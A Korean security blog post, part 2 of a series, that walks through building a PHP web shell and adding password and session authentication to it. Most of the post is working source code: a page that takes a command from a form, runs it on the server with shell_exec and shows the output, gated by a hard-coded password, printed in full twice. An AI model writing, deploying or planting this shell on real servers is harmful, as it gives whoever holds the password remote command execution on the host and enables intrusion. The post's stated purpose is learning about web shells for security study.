지난 포스팅
이번시간에서는 PHP 기반 간단한 명령어 실행 Web Shell 제작 (part 1)을 하였습니다.
이번 포스팅에서는 지난 시간에 이어서 인증기능을 추가하는 방법입니다.
저번 PHP 기반 명령어 실행 Web Shell 제작에서는 아무런 인증이 없이 WebShell이 동작이 가능합니다.
하지만 보안적으로 안전하다고 볼 수 없는 WebShell입니다. 비인가자 누군가가 WebShell 주소만 안다면 바로 동작이 가능하기 때문에 인가된 사용자만이 사용할 수 있는 인증 기능을 추가할 예정입니다.
Code
<?php
// GET 방식으로 페이지 URL을 가져옴
$page = htmlspecialchars($_SERVER["PHP_SELF"]);
// POST 방식으로 cmd 값을 가져옴
$cmd = isset($_POST["cmd"]) ? $_POST["cmd"] : '';
// 명령어 실행 결과값을 반환
$result = '';
if (!empty($cmd)) {
// shell_exec 사용하여 명령어 실행
$result = shell_exec($cmd);
// 결과값이 있을 경우 줄바꿈을 HTML <br>로 변경
$result = str_replace("\n", "<br>", $result);
}
?>
<!-- HTML 폼을 작성 -->
<form action="<?= $page ?>" method="POST">
<input type="text" name="cmd" value="<?=$cmd?>">
<input type="submit" value="Execute">
</form>
<hr>
<table style="border: 1px solid black; background-color:black">
<tr>
<td style="color:white; font-size: 12px"><?=$result?></td>
</tr>
<!-- 명령어 실행 결과 출력 -->
</table>
Session
@session_start()는 서버가 사용자와 상호작용 상태를 유지하기 위해 사용하는 방법 중 하나이다.
세션(session)이란 클라이언트로부터 오는 일련의 요청을 하나의 상태로 보고 그 상태를 일정하게 유지시켜주는 기술이다.
세션은 웹 서버에 웹 컨테이너의 상태를 유지하기 위한 정보들을 저장하고 브라우저를 닫거나 서버에서 세션을 삭제하면 세션이 삭제된다. 세션은 각 클라이언트의 고유세션 ID를 부여하게 되는데 이것으로 클라이언트를 구분하여 각 클라이언트의 요구에 맞게 응답을 반환하게 된다.
사용자 인증 과정
if (empty($_SESSION["webshell_id"]) && empty($input_password)) {
// 비밀번호 입력 폼 출력
?>
<form action="<?=$page?>" method="POST">
<input type="password" name="password">
<input type="submit" value="AUTH">
</form>
<?php
exit();
}
기본적으로 세션에 저장된 값 $_SESSION["webshell_id"] 가 비어있고 사용자가 비밀번호를 입력하지 않았을 때 비밀번호를 텍스트 입력 폼을 출력하게 된다.
$_SESSION ["webshell_id"]는 세션을 통해 사용자의 인증 상태를 확인하게 되는데 세션에 값이 없다는 것은 아직 인증되지 않았다는 것을 의미한다.
비밀번호 검증
else if (empty($_SESSION["webshell_id"]) && !empty($input_password)) {
if ($password == $input_password) {
$_SESSION["webshell_id"] = "crehacktive";
echo "<script>location.href='{$page}'</script>";
exit();
} else {
echo "<script>location.href='{$page}'</script>";
exit();
}
}
1. 비밀번호 검증
사용자가 입력한 비밀번호 ($input_password)가 저장된 $password와 일치하는지 확인한다.
일치하게 된다면 $_SESSION["webshell_id] 값을 설정하게 된다. 이 값은 사용자의 인증 상태를 유지하기 위해서 필요한 요소이다.
2. Page redirect
인증이 성공하면 명령어를 입력할 수 있는 폼이 나타나게 되고 저번포스팅과 같이 사용할 수 있는 페이지가 나오게 된다.
사용자가 입력한 명령어를 서버의 쉘에서 실항하게 되고 그 결과를 문자열로 반환하게 한다.
3. password 일치하지 않을 때
비밀번호가 일치하지 않을 경우 사용자를 같인 페이지로 redirect 하여 다시 비밀번호를 입력할 수 있도록 한다.
전체 Code
현재 코드에서는 비밀번호를 하드코딩하는 방법으로 사용되었다.
하지만 비밀번호를 하드코딩 하지 않고 암호를 해싱하는 방법이나 데이터베이스 측면으로 관리하는 방법을 사용하여야 한다.
추가적으로 session 타임아웃을 설정하거나 로그아웃 기능을 추가하는 기술이 더 필요하다.
이번 포스팅에서는 인증기능 추가라는 초점에 맞추었기 때문에 타임아웃 설정, 로그아웃 기능 추가, 암호 해싱하는 방법에 대해서는 추가적으로 글을 작성하려고 한다.
<?php
@session_start();
$password ="crehacktive";
$input_password = $_POST["password"];
// GET 방식으로 페이지 URL을 가져옴
$page = htmlspecialchars($_SERVER["PHP_SELF"]);
// POST 방식으로 cmd 값을 가져옴
$cmd = isset($_POST["cmd"]) ? $_POST["cmd"] : '';
# 인증을 검증하는 조건문
# session value X and password value x
if(empty($_SESSION["webshell_id"]) &&empty($input_password)){
# password input form print
?>
<form action="<?=$page?>" method="POST">
<input type ="password" name ="password">
<input type = "submit" value="AUTH">
</form>
<?php
exit();
}
else if(empty($_SESSION["webshell_id"])&& !empty($input_password)){
# session value X and password value O
if($password == $input_password){
# login Success!
$_SESSION["webshell_id"] = "crehacktive";
echo "<script>location.href='{$page}</script>";
exit();
} else{
# password X
echo "<script>location.href='{$page}'</script>";
exit();
}
}
// 명령어 실행 결과값을 반환
$result = '';
if (!empty($cmd)) {
// shell_exec 사용하여 명령어 실행
$result = shell_exec($cmd);
// 결과값이 있을 경우 줄바꿈을 HTML <br>로 변경
$result = str_replace("\n", "<br>", $result);
}
?>
<!-- HTML 폼을 작성 -->
<form action="<?= $page ?>" method="POST">
<input type="text" name="cmd" value="<?=$cmd?>">
<input type="submit" value="Execute">
</form>
<hr>
<table style="border: 1px solid black; background-color:black">
<tr>
<td style="color:white; font-size: 12px"><?=$result?></td>
</tr>
<!-- 명령어 실행 결과 출력 -->
</table>
'CERT > Web' 카테고리의 다른 글
[Web] PHP기반 간단한 명령어 실행 WebShell 제작 (part1) (0) | 2024.09.23 |
---|---|
[Web] PHP기반으로 Web에서 파일 업로드 제작 (0) | 2024.09.17 |
[Web] GET&POST 방식 정의 및 차이점 (0) | 2024.09.17 |
[웹 취약점] 웹 셸(Web shell) 정의 및 종류 (1) | 2024.09.16 |
[웹 취약점] 파일 업로드 및 다운로드 취약점 개념 (1) | 2024.09.16 |